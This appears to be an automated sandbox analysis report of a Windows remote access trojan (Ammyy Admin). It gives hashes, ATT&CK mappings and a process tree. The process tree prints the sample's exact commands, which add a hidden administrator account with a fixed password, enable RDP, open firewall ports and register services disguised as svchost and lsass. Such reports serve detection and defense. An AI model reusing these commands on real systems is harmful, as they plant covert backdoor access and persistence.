ammyyadmin | 48a16449873f16df73c4468805415769a863062802fdcb30568bf5bb2170bf17

Analysis

max time kernel
125s
max time network
127s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
05-09-2024 23:26

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe
Size

1.2MB
MD5

ce24e3f6a77491b84dab3c0a6b0203a1
SHA1

070cc99e68a501a6a37ba6155ef2623015dd8967
SHA256

48a16449873f16df73c4468805415769a863062802fdcb30568bf5bb2170bf17
SHA512

7ac4c6496a7d4e522df0664a285bf32303a83f342cebda50cb75ddc23d8d3ac8cd75a5f74aa5ca95920e62cc1a9fd6f8ace385461564dd2c3eb5640956a9d1fd
SSDEEP

24576:7JLMxzpMJbMfUJqhQLklSRvfd8lgDy+BaxZEyr+tE0:2zmJbQU+QwSNlvy+BEnr+tP

Score

10^/10

ammyyadmin defense_evasion discovery evasion execution persistence privilege_escalation rat

Malware Config

Signatures

Ammyy Admin
Remote admin tool with various capabilities.
rat ammyyadmin

AmmyyAdmin payload 1 IoCs

resource	yara_rule
behavioral2/files/0x00070000000235b3-22.dat	family_ammyyadmin

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098
Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Modifies Windows Firewall 2 TTPs 7 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
4112	netsh.exe
1416	netsh.exe
3076	netsh.exe
2100	netsh.exe
1176	netsh.exe
2912	netsh.exe
1272	netsh.exe

Sets service image path in registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\PlugAndPlay\ImagePath = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\svchost.exe -service -debug"	REG.exe

Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 1 IoCs

pid	Process
4656	termserv.exe

Password Policy Discovery 1 TTPs
Attempt to access detailed information about the password policy used within an enterprise network.
discovery

Password Policy Discovery
T1201

Hide Artifacts: Hidden Users 1 TTPs 1 IoCs

defense_evasion

Hidden Users

T1564.002

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList\Microsoft = "0"	REG.exe

Launches sc.exe 10 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3024	sc.exe
3404	sc.exe
5028	sc.exe
4196	sc.exe
3052	sc.exe
4868	sc.exe
3676	sc.exe
4924	sc.exe
3392	sc.exe
1424	sc.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 21 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

System Location Discovery: System Language Discovery 1 TTPs 39 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	REG.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	termserv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	REG.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	REG.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	REG.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	REG.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	REG.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe

Runs net.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1448	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
4656	termserv.exe
4656	termserv.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1448 wrote to memory of 4656	1448	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	102
PID 1448 wrote to memory of 4656	1448	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	102
PID 1448 wrote to memory of 4656	1448	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	102
PID 1448 wrote to memory of 3676	1448	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	103
PID 1448 wrote to memory of 3676	1448	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	103
PID 1448 wrote to memory of 3676	1448	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	103
PID 1448 wrote to memory of 5028	1448	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	105
PID 1448 wrote to memory of 5028	1448	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	105
PID 1448 wrote to memory of 5028	1448	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	105
PID 1448 wrote to memory of 4196	1448	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	107
PID 1448 wrote to memory of 4196	1448	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	107
PID 1448 wrote to memory of 4196	1448	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	107
PID 1448 wrote to memory of 2036	1448	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	109
PID 1448 wrote to memory of 2036	1448	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	109
PID 1448 wrote to memory of 2036	1448	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	109
PID 2036 wrote to memory of 552	2036	net.exe	111
PID 2036 wrote to memory of 552	2036	net.exe	111
PID 2036 wrote to memory of 552	2036	net.exe	111
PID 1448 wrote to memory of 4524	1448	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	112
PID 1448 wrote to memory of 4524	1448	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	112
PID 1448 wrote to memory of 4524	1448	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	112
PID 4524 wrote to memory of 3404	4524	net.exe	114
PID 4524 wrote to memory of 3404	4524	net.exe	114
PID 4524 wrote to memory of 3404	4524	net.exe	114
PID 1448 wrote to memory of 640	1448	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	115
PID 1448 wrote to memory of 640	1448	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	115
PID 1448 wrote to memory of 640	1448	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	115
PID 1448 wrote to memory of 1056	1448	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	116
PID 1448 wrote to memory of 1056	1448	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	116
PID 1448 wrote to memory of 1056	1448	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	116
PID 1448 wrote to memory of 2996	1448	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	117
PID 1448 wrote to memory of 2996	1448	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	117
PID 1448 wrote to memory of 2996	1448	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	117
PID 1448 wrote to memory of 4116	1448	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	118
PID 1448 wrote to memory of 4116	1448	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	118
PID 1448 wrote to memory of 4116	1448	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	118
PID 1448 wrote to memory of 2496	1448	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	120
PID 1448 wrote to memory of 2496	1448	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	120
PID 1448 wrote to memory of 2496	1448	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	120
PID 1448 wrote to memory of 2908	1448	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	121
PID 1448 wrote to memory of 2908	1448	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	121
PID 1448 wrote to memory of 2908	1448	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	121
PID 1448 wrote to memory of 3284	1448	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	123
PID 1448 wrote to memory of 3284	1448	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	123
PID 1448 wrote to memory of 3284	1448	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	123
PID 1448 wrote to memory of 2324	1448	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	124
PID 1448 wrote to memory of 2324	1448	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	124
PID 1448 wrote to memory of 2324	1448	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	124
PID 1448 wrote to memory of 3052	1448	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	125
PID 1448 wrote to memory of 3052	1448	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	125
PID 1448 wrote to memory of 3052	1448	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	125
PID 2996 wrote to memory of 2912	2996	net.exe	133
PID 2996 wrote to memory of 2912	2996	net.exe	133
PID 2996 wrote to memory of 2912	2996	net.exe	133
PID 4116 wrote to memory of 2272	4116	net.exe	134
PID 4116 wrote to memory of 2272	4116	net.exe	134
PID 4116 wrote to memory of 2272	4116	net.exe	134
PID 3284 wrote to memory of 2104	3284	net.exe	135
PID 3284 wrote to memory of 2104	3284	net.exe	135
PID 3284 wrote to memory of 2104	3284	net.exe	135
PID 2496 wrote to memory of 1440	2496	net.exe	136
PID 2496 wrote to memory of 1440	2496	net.exe	136
PID 2496 wrote to memory of 1440	2496	net.exe	136
PID 2908 wrote to memory of 3264	2908	net.exe	137

C:\Users\Admin\AppData\Local\Temp\ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1448
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\termserv.exe
  "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\termserv.exe" -silent
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:4656
- C:\Windows\SysWOW64\sc.exe
  sc start mnmsrvc
  2⤵
  - Launches sc.exe
  - System Location Discovery: System Language Discovery
  PID:3676
- C:\Windows\SysWOW64\sc.exe
  sc Start TlntSvr
  2⤵
  - Launches sc.exe
  - System Location Discovery: System Language Discovery
  PID:5028
- C:\Windows\SysWOW64\sc.exe
  sc Start TermService
  2⤵
  - Launches sc.exe
  - System Location Discovery: System Language Discovery
  PID:4196
- C:\Windows\SysWOW64\net.exe
  net start FastUserSwitchingCompatibility
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2036
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 start FastUserSwitchingCompatibility
    3⤵
    - System Location Discovery: System Language Discovery
    PID:552
- C:\Windows\SysWOW64\net.exe
  net start TermService
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4524
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 start TermService
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3404
- C:\Windows\SysWOW64\REG.exe
  REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:640
- C:\Windows\SysWOW64\REG.exe
  REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1056
- C:\Windows\SysWOW64\net.exe
  net user Microsoft skj2g43 /add /EXPIRES:NEVER /active:yes
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2996
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 user Microsoft skj2g43 /add /EXPIRES:NEVER /active:yes
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2912
- C:\Windows\SysWOW64\net.exe
  net localgroup Microsoft /add
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4116
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 localgroup Microsoft /add
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2272
- C:\Windows\SysWOW64\net.exe
  net localgroup Àäìèíèñòðàòîðû Microsoft /add
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2496
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 localgroup Àäìèíèñòðàòîðû Microsoft /add
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1440
- C:\Windows\SysWOW64\net.exe
  net localgroup Administrators Microsoft /add
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2908
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 localgroup Administrators Microsoft /add
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3264
- C:\Windows\SysWOW64\net.exe
  net accounts /maxpwage:unlimited
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3284
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 accounts /maxpwage:unlimited
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2104
- C:\Windows\SysWOW64\REG.exe
  REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v Microsoft /t REG_DWORD /d 0 /f
  2⤵
  - Hide Artifacts: Hidden Users
  - System Location Discovery: System Language Discovery
  PID:2324
- C:\Windows\SysWOW64\sc.exe
  sc stop "ProtocolWindows_ "
  2⤵
  - Launches sc.exe
  - System Location Discovery: System Language Discovery
  PID:3052
- C:\Windows\SysWOW64\sc.exe
  sc delete "ProtocolWindows_ "
  2⤵
  - Launches sc.exe
  - System Location Discovery: System Language Discovery
  PID:4924
- C:\Windows\SysWOW64\sc.exe
  sc create "ProtocolWindows_ " binpath= "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\lsass.exe" displayname= "Protocol HTTP/SSL " type= own start= auto error= ignore
  2⤵
  - Launches sc.exe
  - System Location Discovery: System Language Discovery
  PID:3392
- C:\Windows\SysWOW64\sc.exe
  sc description "ProtocolWindows_ " "Ýòà ñëóæáa îáåñïå÷èâàåò áåçîïañíûé ïðîòîêîë ïåðåäà÷è äàííûõ ãèïåðòåêñòà (HTTPS) äëÿ ñëóæáû HTTP. Åñëè ýòà ñëóæáà îòêëþ÷åía, ëþáûå ñëóæáû, êîòîðûå ÿâíî çaâèñÿò îò íåå, íå ìîãóò áûòü çàïóùåíû. "
  2⤵
  - Launches sc.exe
  - System Location Discovery: System Language Discovery
  PID:4868
- C:\Windows\SysWOW64\sc.exe
  sc stop "PlugAndPlay"
  2⤵
  - Launches sc.exe
  - System Location Discovery: System Language Discovery
  PID:3024
- C:\Windows\SysWOW64\sc.exe
  sc delete "PlugAndPlay"
  2⤵
  - Launches sc.exe
  - System Location Discovery: System Language Discovery
  PID:1424
- C:\Windows\SysWOW64\sc.exe
  sc create "PlugAndPlay" displayname= "PlugAndPlay " binpath= "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\svchost.exe -service -debug" type= own start= auto error= ignore
  2⤵
  - Launches sc.exe
  - System Location Discovery: System Language Discovery
  PID:3404
- C:\Windows\SysWOW64\REG.exe
  REG ADD "HKLM\SYSTEM\CurrentControlSet\services\PlugAndPlay" /v ImagePath /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\svchost.exe -service -debug" /f
  2⤵
  - Sets service image path in registry
  - System Location Discovery: System Language Discovery
  PID:1856
- C:\Windows\SysWOW64\REG.exe
  REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_REGDWORD /d 3389 /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3548
- C:\Windows\SysWOW64\REG.exe
  REG ADD "HKCU\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_LOCALMACHINE_LOCKDOWN" /v iexplore.exe /t REG_REGDWORD /d 0 /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1264
- C:\Windows\SysWOW64\netsh.exe
  netsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\svchost.exe" ENABLE
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:1176
- C:\Windows\SysWOW64\netsh.exe
  netsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\lsass.exe" ENABLE
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2912
- C:\Windows\SysWOW64\netsh.exe
  netsh firewall add allowedprogram ctfmon.exe ENABLE
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:1272
- C:\Windows\SysWOW64\netsh.exe
  netsh firewall add portopening protocol = TCP port = 3389 name = TCP
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4112
- C:\Windows\SysWOW64\netsh.exe
  netsh firewall add portopening protocol = TCP port = 31337 name = TCP
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:1416
- C:\Windows\SysWOW64\netsh.exe
  netsh firewall add portopening protocol = TCP port = 80 name = TCP
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:3076
- C:\Windows\SysWOW64\netsh.exe
  netsh firewall add portopening protocol = TCP port = 8080 name = TCP
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2100

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4164,i,1330210614411927383,9239043499051775691,262144 --variations-seed-version --mojo-platform-channel-handle=1320 /prefetch:8
1⤵
PID:1808

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

System Services

T1569

Service Execution

T1569.002

Persistence

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Hide Artifacts

T1564

Hidden Users

T1564.002

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Modify Registry

T1112

Credential Access

Discovery

Password Policy Discovery

T1201

Permission Groups Discovery

T1069

Local Groups

T1069.001

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\lsass.exe

Filesize
81KB

MD5
6e0966f100cb1f523179c0adba52d45a

SHA1
d3d27da135e1388bc6619bc3f81a3324d2e9d645

SHA256
71059380b8346728a26de74e7a721e63bd9f18e81f1eec76adeabd998fb13e3b

SHA512
3dbebfd08ab3df57fefe193cd98f6ab8aeeff3406d70cc56604d8d0144de2c2b18a56f99281c93d21849badd0d76cbb943d09ce6573271af94fefb4323fbeefd

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\svchost.exe

Filesize
587KB

MD5
5ccc02fe24848a903a6978366c51a7d1

SHA1
056be620e7bfec514d9a377820c0b716052a305f

SHA256
4beea8eb43740d7157fe4dd34126b07864ba0d44563008cb32a21b84e4452064

SHA512
c36c7d6b15c7a3277efe2f4f56a8f7147646c4a060d06ee8c465473f61b1cc513c41cbdd3ee2a2c26c3c499dd6b960c31a742fa7dda1467fd25cabe8aefc7f71

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\termserv.exe

Filesize
44KB

MD5
c104fc64f8ed6950ce08a5d653e9e4d7

SHA1
e1186adecb3c647cbec0705df4a8aa80281790c9

SHA256
8ded98254676bb6a64435119df030d84e8186b75051b8a1e7928aa52c8bb3937

SHA512
2b6a7f44b34af744108769658391ff46e885f09f974c32f9a5b0b559bf9e93b1185acb8fe6841c74848e4e06ff9ee31aaca6a648d43f39ae16dcaa96d576335c

Download Submit
memory/1448-0-0x0000000000400000-0x0000000000548000-memory.dmp

Filesize
1.3MB

Download
memory/1448-21-0x0000000000400000-0x0000000000548000-memory.dmp

Filesize
1.3MB

Download
memory/1448-24-0x0000000000400000-0x0000000000548000-memory.dmp

Filesize
1.3MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads